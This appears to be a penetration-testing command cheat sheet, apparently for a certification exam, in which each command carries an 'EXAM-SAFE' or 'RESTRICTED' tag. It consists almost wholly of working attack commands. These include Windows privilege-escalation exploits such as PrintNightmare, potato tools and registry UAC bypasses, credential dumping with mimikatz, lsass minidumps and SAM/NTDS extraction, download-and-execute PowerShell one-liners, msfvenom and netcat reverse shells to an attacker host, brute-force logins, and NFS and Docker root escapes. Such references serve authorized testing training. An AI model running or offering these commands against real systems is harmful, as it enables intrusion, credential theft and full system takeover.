certutil.exe -urlcache -split -f http://{{LHOST}}:{{LPORT}}/winPEASx64.exe C:\Windows\Temp\winpeas.exe
certutil ✓ EXAM-SAFE
C:\Windows\Temp\winpeas.exe quiet cmd fast
winpeas ✓ EXAM-SAFE
IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}:{{LPORT}}/winPEAS.ps1')
powershell ✓ EXAM-SAFE
IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}:{{LPORT}}/PowerUp.ps1'); Invoke-AllChecks
powershell ✓ EXAM-SAFE
C:\Windows\Temp\Seatbelt.exe -group=all
seatbelt ✓ EXAM-SAFE
accesschk.exe /accepteula -uwcqv "Users" *
accesschk ✓ EXAM-SAFE
accesschk.exe /accepteula -wvu "Everyone" "C:\Program Files\VulnApp"
accesschk ✓ EXAM-SAFE
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
cmd ✓ EXAM-SAFE
impacket-smbserver share $(pwd) -smb2support
impacket ✓ EXAM-SAFE
icacls C:\Windows\System32\config\SAM
icacls ✓ EXAM-SAFE
vssadmin list shadows
cmd ✓ EXAM-SAFE
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
cmd ✓ EXAM-SAFE
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
cmd ✓ EXAM-SAFE
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY
cmd ✓ EXAM-SAFE
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
secretsdump ✓ EXAM-SAFE
Invoke-WebRequest -Uri {{URL}}/HiveNightmare.exe -OutFile C:\Temp\hn.exe; C:\Temp\hn.exe
PowerShell ✓ EXAM-SAFE
netexec smb {{RHOST}} -u Administrator -H {{NTHASH}}
netexec ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u Administrator -H {{NTHASH}}
evil-winrm ✓ EXAM-SAFE
systeminfo
cmd ✓ EXAM-SAFE
wmic qfe get Caption,Description,HotFixID,InstalledOn
cmd ✓ EXAM-SAFE
Get-HotFix | Sort-Object InstalledOn -Descending
PowerShell ✓ EXAM-SAFE
wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only
wesng ✓ EXAM-SAFE
wes.py --update && wes.py systeminfo.txt
wesng ✓ EXAM-SAFE
Watson.exe
Watson ✓ EXAM-SAFE
searchsploit windows kernel local privilege escalation
searchsploit ✓ EXAM-SAFE
searchsploit -m windows/local/<edb-id>
searchsploit ✓ EXAM-SAFE
certutil -urlcache -split -f {{URL}}/exploit.exe C:\Temp\exploit.exe
certutil (transfer) ✓ EXAM-SAFE
C:\Temp\exploit.exe "cmd /c whoami"
cmd ✓ EXAM-SAFE
sc query spooler
cmd ✓ EXAM-SAFE
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
reg ✓ EXAM-SAFE
netexec smb {{RHOST}} -u {{USER}} -p {{PASS}} -M printnightmare
netexec ✓ EXAM-SAFE
impacket-rpcdump @{{RHOST}} | egrep -i 'MS-RPRN|MS-PAR'
rpcdump ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f dll -o /tmp/nightmare.dll
msfvenom ✓ EXAM-SAFE
impacket-smbserver share /tmp -smb2support
smbserver ✓ EXAM-SAFE
python3 CVE-2021-1675.py {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}} '\\{{LHOST}}\share\nightmare.dll'
impacket ✓ EXAM-SAFE
Import-Module .\CVE-2021-1675.ps1; Invoke-Nightmare -DriverName 'PrintMe' -NewUser 'pwn' -NewPassword 'Pwn123!'
powershell ✓ EXAM-SAFE
Import-Module .\CVE-2021-1675.ps1; Invoke-Nightmare -DLL 'C:\Temp\nightmare.dll'
powershell ✓ EXAM-SAFE
Stop-Service -Name Spooler -Force; Set-Service -Name Spooler -StartupType Disabled
powershell ✓ EXAM-SAFE
schtasks /query /fo LIST /v
cmd ✓ EXAM-SAFE
Get-ScheduledTask | Where-Object {$_.Principal.UserId -match 'SYSTEM|Administrator'} | Select-Object TaskName,TaskPath,@{n='RunAs';e={$_.Principal.UserId}}
powershell ✓ EXAM-SAFE
Get-ScheduledTask -TaskName 'VulnTask' | Select-Object -ExpandProperty Actions
powershell ✓ EXAM-SAFE
icacls "C:\Scripts\backup.bat"
powershell ✓ EXAM-SAFE
echo C:\Windows\Temp\rev.exe >> C:\Scripts\backup.bat
cmd ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o rev.exe
msfvenom ✓ EXAM-SAFE
schtasks /run /tn "VulnTask"
cmd ✓ EXAM-SAFE
Get-ChildItem C:\Windows\System32\Tasks -Recurse | Select-Object FullName
powershell ✓ EXAM-SAFE
whoami /priv | findstr /i "SeBackup SeRestore"
cmd ✓ EXAM-SAFE
reg save HKLM\SAM C:\Temp\SAM.hive && reg save HKLM\SYSTEM C:\Temp\SYSTEM.hive
cmd ✓ EXAM-SAFE
reg save HKLM\SECURITY C:\Temp\SECURITY.hive
reg ✓ EXAM-SAFE
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive -security SECURITY.hive LOCAL
impacket-secretsdump ✓ EXAM-SAFE
echo set context persistent nowriters > C:\Temp\sh.txt & echo add volume c: alias raj >> C:\Temp\sh.txt & echo create >> C:\Temp\sh.txt & echo expose %raj% z: >> C:\Temp\sh.txt & diskshadow /s C:\Temp\sh.txt
diskshadow ✓ EXAM-SAFE
robocopy /b Z:\Windows\NTDS C:\Temp ntds.dit
robocopy ✓ EXAM-SAFE
impacket-secretsdump -ntds ntds.dit -system SYSTEM.hive LOCAL
impacket-secretsdump ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -p {{PASS}}
evil-winrm ✓ EXAM-SAFE
smbclient //{{RHOST}}/C$ -U {{DOMAIN}}/{{USER}}%{{PASS}} -c "cd Temp; get SAM.hive; get SYSTEM.hive; get ntds.dit"
smbclient ✓ EXAM-SAFE
whoami /priv | findstr /i "SeDebug"
cmd ✓ EXAM-SAFE
privilege::debug
mimikatz ✓ EXAM-SAFE
token::elevate
mimikatz ✓ EXAM-SAFE
sekurlsa::logonpasswords
mimikatz ✓ EXAM-SAFE
incognito.exe list_tokens -u
incognito ✓ EXAM-SAFE
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
incognito ✓ EXAM-SAFE
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
powershell ✓ EXAM-SAFE
pypykatz lsa minidump lsass.dmp
pypykatz ✓ EXAM-SAFE
RunasCs.exe {{USER}} {{PASS}} cmd.exe
runascs ✓ EXAM-SAFE
whoami /priv | findstr /i "impersonate primarytoken"
cmd ✓ EXAM-SAFE
certutil.exe -urlcache -split -f http://{{LHOST}}:{{LPORT}}/PrintSpoofer64.exe C:\Windows\Temp\ps.exe
certutil ✓ EXAM-SAFE
C:\Windows\Temp\ps.exe -i -c cmd
printspoofer ✓ EXAM-SAFE
C:\Windows\Temp\ps.exe -c "C:\Windows\Temp\rev.exe"
printspoofer ✓ EXAM-SAFE
C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c whoami"
godpotato ✓ EXAM-SAFE
C:\Windows\Temp\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe {{LHOST}} {{LPORT}} -e cmd"
godpotato ✓ EXAM-SAFE
C:\Windows\Temp\RoguePotato.exe -r {{LHOST}} -e "C:\Windows\Temp\rev.exe" -l 9999
roguepotato ✓ EXAM-SAFE
socat tcp-listen:135,reuseaddr,fork tcp:{{RHOST}}:9999
socat ✓ EXAM-SAFE
C:\Windows\Temp\EfsPotato.exe "whoami"
efspotato ✓ EXAM-SAFE
C:\Windows\Temp\JuicyPotatoNG.exe -t * -p "C:\Windows\Temp\rev.exe"
juicypotatong ✓ EXAM-SAFE
cmdkey /list
cmd ✓ EXAM-SAFE
runas /savecred /user:ADMIN_USER "C:\Windows\Temp\rev.exe"
cmd ✓ EXAM-SAFE
Get-ChildItem C:\ -Include unattend.xml,sysprep.xml,sysprep.inf,Autounattend.xml,Unattended.xml -File -Recurse -EA SilentlyContinue
powershell ✓ EXAM-SAFE
findstr /si password *.xml *.ini *.config *.txt 2>nul
powershell ✓ EXAM-SAFE
findstr /s /i cpassword \\{{DOMAIN}}\sysvol\{{DOMAIN}}\policies\*.xml
cmd ✓ EXAM-SAFE
netexec smb {{DC_IP}} -u {{USER}} -p {{PASS}} -M gpp_password
netexec ✓ EXAM-SAFE
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
gpp-decrypt ✓ EXAM-SAFE
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
cmd ✓ EXAM-SAFE
netsh wlan show profile name="SSID" key=clear
cmd ✓ EXAM-SAFE
reg save HKLM\SAM C:\Windows\Temp\sam.save && reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg ✓ EXAM-SAFE
impacket-secretsdump -sam sam.save -system system.save LOCAL
impacket-secretsdump ✓ EXAM-SAFE
impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}}
impacket-secretsdump ✓ EXAM-SAFE
whoami /groups | findstr /i "Label"
cmd ✓ EXAM-SAFE
net localgroup administrators
cmd ✓ EXAM-SAFE
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg ✓ EXAM-SAFE
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe /c start cmd.exe" /f & reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f & start fodhelper.exe
cmd (fodhelper) ✓ EXAM-SAFE
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe /c start cmd.exe" /f & reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f & start computerdefaults.exe
cmd (computerdefaults) ✓ EXAM-SAFE
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe /c start cmd.exe" /f & start eventvwr.exe
cmd (eventvwr) ✓ EXAM-SAFE
reg add HKCU\Software\Classes\exefile\shell\runas\command /v IsolatedCommand /t REG_SZ /d "cmd.exe /c start cmd.exe" /f & start sdclt.exe
cmd (sdclt) ✓ EXAM-SAFE
reg delete HKCU\Software\Classes\ms-settings /f & reg delete HKCU\Software\Classes\mscfile /f
cmd (cleanup) ✓ EXAM-SAFE
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('{{URL}}')" /f & reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f & start fodhelper.exe
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v "\""
cmd ✓ EXAM-SAFE
sc qc "VulnSvc"
cmd ✓ EXAM-SAFE
Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows' } | Select-Object Name,PathName,StartName,StartMode
powershell ✓ EXAM-SAFE
icacls "C:\Program Files\My App"
cmd ✓ EXAM-SAFE
accesschk.exe -accepteula -uwdq "C:\Program Files\My App"
accesschk ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o My.exe
msfvenom ✓ EXAM-SAFE
smbclient //{{RHOST}}/share -U '{{USER}}%{{PASS}}' -c 'put My.exe'
smbclient ✓ EXAM-SAFE
sc stop "VulnSvc" & sc start "VulnSvc"
cmd ✓ EXAM-SAFE
accesschk.exe -accepteula -uvwqk HKLM\System\CurrentControlSet\Services
accesschk ✓ EXAM-SAFE
Get-Acl HKLM:\System\CurrentControlSet\Services\VulnSvc | Format-List; (Get-Acl HKLM:\System\CurrentControlSet\Services\VulnSvc).Access | Where-Object { $_.RegistryRights -match 'WriteKey|SetValue|FullControl' }
powershell ✓ EXAM-SAFE
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Get-ModifiableRegistryAutoRun; Get-RegistryAlwaysInstallElevated"
powerup ✓ EXAM-SAFE
reg query HKLM\System\CurrentControlSet\Services\VulnSvc
cmd ✓ EXAM-SAFE
reg add HKLM\System\CurrentControlSet\Services\VulnSvc /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\rev.exe" /f
cmd ✓ EXAM-SAFE
reg add HKLM\System\CurrentControlSet\Services\VulnSvc /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\System32\cmd.exe /c net localgroup administrators {{USER}} /add" /f
cmd ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o rev.exe
msfvenom ✓ EXAM-SAFE
sc stop "VulnSvc" & sc start "VulnSvc"
cmd ✓ EXAM-SAFE
accesschk.exe -accepteula -uwcqv "%USERNAME%" *
accesschk ✓ EXAM-SAFE
accesschk.exe -accepteula -uwcqv "Authenticated Users" *
accesschk ✓ EXAM-SAFE
Get-Service | ForEach-Object { $_.Name }; sc.exe sdshow VulnSvc
powershell ✓ EXAM-SAFE
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Get-ModifiableService"
powerup ✓ EXAM-SAFE
sc qc "VulnSvc"
cmd ✓ EXAM-SAFE
sc config "VulnSvc" binPath= "C:\Windows\System32\cmd.exe /c net localgroup administrators {{USER}} /add" start= demand obj= LocalSystem
cmd ✓ EXAM-SAFE
sc config "VulnSvc" binPath= "C:\Windows\Temp\rev.exe"
cmd ✓ EXAM-SAFE
sc stop "VulnSvc" & sc start "VulnSvc"
cmd ✓ EXAM-SAFE
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-ServiceAbuse -Name 'VulnSvc' -UserName '{{DOMAIN}}\{{USER}}'"
powerup ✓ EXAM-SAFE
nmap -p110,995 -sV -sC --script pop3-capabilities,pop3-ntlm-info -oA nmap_pop3_{{RHOST}} {{RHOST}}
nmap ✓ EXAM-SAFE
nc -nv {{RHOST}} 110
netcat ✓ EXAM-SAFE
openssl s_client -connect {{RHOST}}:995 -crlf -quiet
openssl ✓ EXAM-SAFE
nc -nv {{RHOST}} 110 USER {{USER}} PASS {{PASS}} LIST RETR 1 QUIT
pop3-client ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} -f {{RHOST}} pop3
hydra ✓ EXAM-SAFE
hydra -l {{USER}} -P {{WORDLIST}} -f {{RHOST}} pop3s
hydra ✓ EXAM-SAFE
rpcinfo -p {{RHOST}}
rpcinfo ✓ EXAM-SAFE
rpcinfo {{RHOST}}
rpcinfo ✓ EXAM-SAFE
nmap -p111 -sV --script rpcinfo {{RHOST}}
nmap ✓ EXAM-SAFE
nmap -sSU -p111 {{RHOST}}
nmap ✓ EXAM-SAFE
showmount -e {{RHOST}}
showmount ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=memcached-info {{RHOST}}
nmap ✓ EXAM-SAFE
ncat -C {{RHOST}} {{RPORT}}
ncat ✓ EXAM-SAFE
memcstat --servers={{RHOST}}:{{RPORT}}
memcstat ✓ EXAM-SAFE
printf 'stats\r\nstats items\r\nstats slabs\r\n' | ncat -C {{RHOST}} {{RPORT}}
ncat ✓ EXAM-SAFE
printf 'stats cachedump 1 0\r\n' | ncat -C {{RHOST}} {{RPORT}}
ncat ✓ EXAM-SAFE
printf 'get KEYNAME\r\n' | ncat -C {{RHOST}} {{RPORT}}
ncat ✓ EXAM-SAFE
nmap -sV -Pn -p 1099 --script rmi-dumpregistry,rmi-vuln-classloader {{RHOST}}
nmap ✓ EXAM-SAFE
rmg enum {{RHOST}} {{RPORT}}
rmg ✓ EXAM-SAFE
rmg guess {{RHOST}} {{RPORT}}
rmg ✓ EXAM-SAFE
java -jar BaRMIe.jar -enum {{RHOST}} {{RPORT}}
BaRMIe ✓ EXAM-SAFE
rmg serial {{RHOST}} {{RPORT}} CommonsCollections6 'nc {{LHOST}} {{LPORT}} -e /bin/sh' --bound-name jmxrmi
rmg ⚠ RESTRICTED
java -jar BaRMIe.jar -attack {{RHOST}} {{RPORT}}
BaRMIe ⚠ RESTRICTED
impacket-rpcdump @{{RHOST}}
impacket-rpcdump ✓ EXAM-SAFE
rpcdump.py @{{RHOST}} | grep -E 'MS-RPRN|MS-EFSR|MS-TSCH|MS-SCMR'
rpcdump.py ✓ EXAM-SAFE
nmap -n -sV -p135 --script msrpc-enum,rpc-grind {{RHOST}}
nmap ✓ EXAM-SAFE
impacket-wmiexec {{DOMAIN}}/{{USER}}:'{{PASS}}'@{{RHOST}}
impacket-wmiexec ✓ EXAM-SAFE
impacket-wmiexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
impacket-wmiexec ✓ EXAM-SAFE
impacket-dcomexec -object MMC20 {{DOMAIN}}/{{USER}}:'{{PASS}}'@{{RHOST}}
impacket-dcomexec ✓ EXAM-SAFE
netexec wmi {{RHOST}} -u {{USER}} -p '{{PASS}}' -x 'whoami'
netexec ✓ EXAM-SAFE
nmap -p143,993 -sV -sC --script imap-capabilities,imap-ntlm-info -oA nmap_imap_{{RHOST}} {{RHOST}}
nmap ✓ EXAM-SAFE
nc -nv {{RHOST}} 143
netcat ✓ EXAM-SAFE
openssl s_client -connect {{RHOST}}:993 -crlf -quiet
openssl ✓ EXAM-SAFE
nc -nv {{RHOST}} 143 a LOGIN {{USER}} {{PASS}} a LIST "" "*" a SELECT INBOX a FETCH 1 BODY[] a LOGOUT
imap-client ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} -f {{RHOST}} imap
hydra ✓ EXAM-SAFE
hydra -l {{USER}} -P {{WORDLIST}} -f {{RHOST}} imaps
hydra ✓ EXAM-SAFE
curl -k 'imaps://{{RHOST}}/INBOX' --user '{{USER}}:{{PASS}}' -X 'FETCH 1 BODY[]'
curl ✓ EXAM-SAFE
nmap -p1433 -sV --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password {{RHOST}} -oN mssql_enum.txt
nmap ✓ EXAM-SAFE
netexec mssql {{RHOST}} -u {{USER}} -p {{PASS}} --local-auth
netexec ✓ EXAM-SAFE
impacket-mssqlclient {{USER}}:{{PASS}}@{{RHOST}} -windows-auth
impacket-mssqlclient ✓ EXAM-SAFE
impacket-mssqlclient {{USER}}:{{PASS}}@{{RHOST}}
impacket-mssqlclient ✓ EXAM-SAFE
impacket-mssqlclient {{DOMAIN}}/{{USER}}@{{RHOST}} -k -no-pass
impacket-mssqlclient ✓ EXAM-SAFE
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
mssql ✓ EXAM-SAFE
EXEC xp_cmdshell 'whoami';
mssql ✓ EXAM-SAFE
xp_cmdshell powershell -e {{URL}}
impacket-mssqlclient ✓ EXAM-SAFE
EXEC master..xp_dirtree '\\{{LHOST}}\\share\\x', 1, 1;
mssql ✓ EXAM-SAFE
sudo responder -I {{INTERFACE}}
responder ✓ EXAM-SAFE
EXEC sp_linkedservers; SELECT * FROM master..sysservers;
mssql ✓ EXAM-SAFE
EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [LINKED-SQL];
mssql ✓ EXAM-SAFE
EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin');
mssql ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=oracle-tns-version,oracle-sid-brute {{RHOST}}
nmap ✓ EXAM-SAFE
tnscmd10g version -h {{RHOST}} -p {{RPORT}}
tnscmd10g ✓ EXAM-SAFE
tnscmd10g status -h {{RHOST}} -p {{RPORT}}
tnscmd10g ✓ EXAM-SAFE
odat all -s {{RHOST}} -p {{RPORT}}
odat ⚠ RESTRICTED
odat sidguesser -s {{RHOST}} -p {{RPORT}}
odat ✓ EXAM-SAFE
odat passwordguesser -s {{RHOST}} -p {{RPORT}} -d {{DOMAIN}} --accounts-file accounts/accounts_multiple.txt
odat ✓ EXAM-SAFE
sqlplus {{USER}}/{{PASS}}@{{RHOST}}:{{RPORT}}/{{DOMAIN}}
sqlplus ✓ EXAM-SAFE
odat utlfile -s {{RHOST}} -p {{RPORT}} -d {{DOMAIN}} -U {{USER}} -P {{PASS}} --putFile /tmp sh.sh ./sh.sh
odat ⚠ RESTRICTED
odat externaltable -s {{RHOST}} -p {{RPORT}} -d {{DOMAIN}} -U {{USER}} -P {{PASS}} --exec /tmp sh.sh
odat ⚠ RESTRICTED
nmap -sU -p 161 -sV --script snmp-info,snmp-sysdescr {{RHOST}}
nmap ✓ EXAM-SAFE
onesixtyone -c {{WORDLIST}} {{RHOST}}
onesixtyone ✓ EXAM-SAFE
snmpwalk -v2c -c public {{RHOST}}
snmpwalk ✓ EXAM-SAFE
snmpwalk -v2c -c public {{RHOST}} 1.3.6.1.4.1.77.1.2.25
snmpwalk ✓ EXAM-SAFE
snmpwalk -v2c -c public {{RHOST}} 1.3.6.1.2.1.25.4.2.1.2
snmpwalk ✓ EXAM-SAFE
snmpwalk -v2c -c public {{RHOST}} 1.3.6.1.2.1.25.4.2.1.5
snmpwalk ✓ EXAM-SAFE
snmpwalk -v2c -c public {{RHOST}} 1.3.6.1.2.1.25.6.3.1.2
snmpwalk ✓ EXAM-SAFE
snmpwalk -v2c -c public {{RHOST}} 1.3.6.1.2.1.6.13.1.3
snmpwalk ✓ EXAM-SAFE
snmp-check -c public {{RHOST}}
snmp-check ✓ EXAM-SAFE
snmpbulkwalk -v2c -c public -Cr1000 {{RHOST}} .1
snmpbulkwalk ✓ EXAM-SAFE
snmpwalk -v3 -l authPriv -u {{USER}} -a SHA -A {{PASS}} -x AES -X {{PASS}} {{RHOST}}
snmpwalk ✓ EXAM-SAFE
showmount -e {{RHOST}}
showmount ✓ EXAM-SAFE
nmap -p111,2049 -sV --script nfs-showmount,nfs-ls,nfs-statfs {{RHOST}}
nmap ✓ EXAM-SAFE
sudo mount -t nfs -o vers=3 {{RHOST}}:/export /mnt/nfs
mount ✓ EXAM-SAFE
sudo mount -t nfs -o vers=3,nolock {{RHOST}}:/home /mnt/nfs
mount ✓ EXAM-SAFE
cp /bin/bash /mnt/nfs/rootbash; chmod +s /mnt/nfs/rootbash
bash ✓ EXAM-SAFE
/mnt/nfs/rootbash -p
bash ✓ EXAM-SAFE
nmap -p21 -sV -sC {{RHOST}}
nmap ✓ EXAM-SAFE
nmap -p21 --script ftp-anon,ftp-bounce,ftp-syst {{RHOST}}
nmap ✓ EXAM-SAFE
ftp {{RHOST}}
ftp ✓ EXAM-SAFE
wget -m --no-passive ftp://anonymous:anonymous@{{RHOST}}
wget ✓ EXAM-SAFE
binary
ftp ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} -f -t 4 ftp://{{RHOST}}
hydra ✓ EXAM-SAFE
hydra -l {{USER}} -P {{WORDLIST}} ftp://{{RHOST}} -t 4
hydra ✓ EXAM-SAFE
nmap -b anonymous:anonymous@{{RHOST}} -p1-1024 {{DC_IP}}
nmap ✓ EXAM-SAFE
nmap -p 22 -sV -sC {{RHOST}}
nmap ✓ EXAM-SAFE
nmap -p 22 --script ssh2-enum-algos,ssh-auth-methods,ssh-hostkey,sshv1 {{RHOST}}
nmap ✓ EXAM-SAFE
nc {{RHOST}} {{RPORT}}
nc ✓ EXAM-SAFE
ssh -v {{USER}}@{{RHOST}} -p {{RPORT}}
ssh ✓ EXAM-SAFE
ssh-audit {{RHOST}}:{{RPORT}}
ssh-audit ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} -t 4 ssh://{{RHOST}}:{{RPORT}}
hydra ✓ EXAM-SAFE
hydra -l {{USER}} -P {{WORDLIST}} -t 4 ssh://{{RHOST}}:{{RPORT}}
hydra ✓ EXAM-SAFE
crackmapexec ssh {{RHOST}} -u {{USER}} -p {{PASS}}
crackmapexec ✓ EXAM-SAFE
ssh-keygen -lf {{WORDLIST}}
ssh-keygen ✓ EXAM-SAFE
ssh2john id_rsa > hash.txt && john --wordlist={{WORDLIST}} hash.txt
ssh2john ✓ EXAM-SAFE
chmod 600 id_rsa && ssh -i id_rsa {{USER}}@{{RHOST}} -p {{RPORT}}
ssh ✓ EXAM-SAFE
python3 ssh_enum.py {{RHOST}} {{WORDLIST}}
python ⚠ RESTRICTED
ssh -L {{LPORT}}:127.0.0.1:{{RPORT}} {{USER}}@{{RHOST}}
ssh ✓ EXAM-SAFE
ssh -D {{LPORT}} {{USER}}@{{RHOST}}
ssh ✓ EXAM-SAFE
ssh -R {{RPORT}}:127.0.0.1:{{LPORT}} {{USER}}@{{RHOST}}
ssh ✓ EXAM-SAFE
nmap -p 23 -sV -sC {{RHOST}}
nmap ✓ EXAM-SAFE
nmap -p 23 --script telnet-ntlm-info,telnet-encryption {{RHOST}}
nmap ✓ EXAM-SAFE
telnet {{RHOST}} {{RPORT}}
telnet ✓ EXAM-SAFE
nc {{RHOST}} {{RPORT}}
nc ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} -t 4 telnet://{{RHOST}}:{{RPORT}}
hydra ✓ EXAM-SAFE
hydra -l {{USER}} -P {{WORDLIST}} telnet://{{RHOST}}:{{RPORT}}
hydra ✓ EXAM-SAFE
telnet {{RHOST}} {{RPORT}} # login: {{USER}} / {{PASS}}
telnet ✓ EXAM-SAFE
sudo tcpdump -i {{INTERFACE}} -A 'tcp port 23' -w telnet.pcap
wireshark ✓ EXAM-SAFE
nmap -sV -Pn -p 2375,2376 {{RHOST}}
nmap ✓ EXAM-SAFE
curl -s http://{{RHOST}}:2375/version
curl ✓ EXAM-SAFE
docker -H tcp://{{RHOST}}:2375 info
docker ✓ EXAM-SAFE
docker -H tcp://{{RHOST}}:2375 images
docker ✓ EXAM-SAFE
docker -H tcp://{{RHOST}}:2375 run --rm -v /:/mnt -it alpine chroot /mnt sh
docker ✓ EXAM-SAFE
docker -H tcp://{{RHOST}}:2375 run --rm -v /:/mnt alpine sh -c "cat /mnt/etc/shadow"
docker ✓ EXAM-SAFE
docker -H tcp://{{RHOST}}:2375 run --rm --privileged --net=host --pid=host -it alpine nsenter -t 1 -m -u -n -i sh
docker ✓ EXAM-SAFE
nmap -p25,465,587 -sV -sC --script smtp-commands,smtp-open-relay,smtp-enum-users,smtp-ntlm-info -oA nmap_smtp_{{RHOST}} {{RHOST}}
nmap ✓ EXAM-SAFE
nc -nv {{RHOST}} 25
netcat ✓ EXAM-SAFE
telnet {{RHOST}} 25
telnet ✓ EXAM-SAFE
smtp-user-enum -M VRFY -U {{WORDLIST}} -t {{RHOST}}
smtp-user-enum ✓ EXAM-SAFE
smtp-user-enum -M RCPT -U {{WORDLIST}} -t {{RHOST}} -D {{DOMAIN}}
smtp-user-enum ✓ EXAM-SAFE
smtp-user-enum -M EXPN -U {{WORDLIST}} -t {{RHOST}}
smtp-user-enum ✓ EXAM-SAFE
swaks --to {{USER}}@{{DOMAIN}} --from attacker@{{DOMAIN}} --server {{RHOST}} --body 'test'
swaks ✓ EXAM-SAFE
swaks --from attacker@evil.com --to victim@external.com --server {{RHOST}}
swaks ✓ EXAM-SAFE
swaks --to {{USER}}@{{DOMAIN}} --server {{RHOST}} --auth LOGIN --auth-user {{USER}} --auth-password {{PASS}}
swaks ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=mongodb-info,mongodb-databases {{RHOST}}
nmap ✓ EXAM-SAFE
mongosh mongodb://{{RHOST}}:{{RPORT}}
mongosh ✓ EXAM-SAFE
mongosh mongodb://{{USER}}:{{PASS}}@{{RHOST}}:{{RPORT}}/admin
mongosh ✓ EXAM-SAFE
mongosh mongodb://{{RHOST}}:{{RPORT}} --eval 'db.adminCommand({listDatabases:1})'
mongosh ✓ EXAM-SAFE
mongosh mongodb://{{RHOST}}:{{RPORT}}/DBNAME --eval 'db.getCollectionNames().forEach(c=>printjson(db[c].find().toArray()))'
mongosh ✓ EXAM-SAFE
mongo {{RHOST}}:{{RPORT}}/admin --eval 'db.system.users.find()'
mongo ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}}:3268 -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC={{DOMAIN}}' '(objectClass=user)' sAMAccountName
ldapsearch ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}}:3268 -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b '' '(&(objectCategory=person)(objectClass=user)(adminCount=1))' sAMAccountName memberOf
ldapsearch ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' --port 3268 --users
netexec ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}}:3268 -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b '' '(objectClass=trustedDomain)' trustPartner trustDirection trustAttributes
ldapsearch ✓ EXAM-SAFE
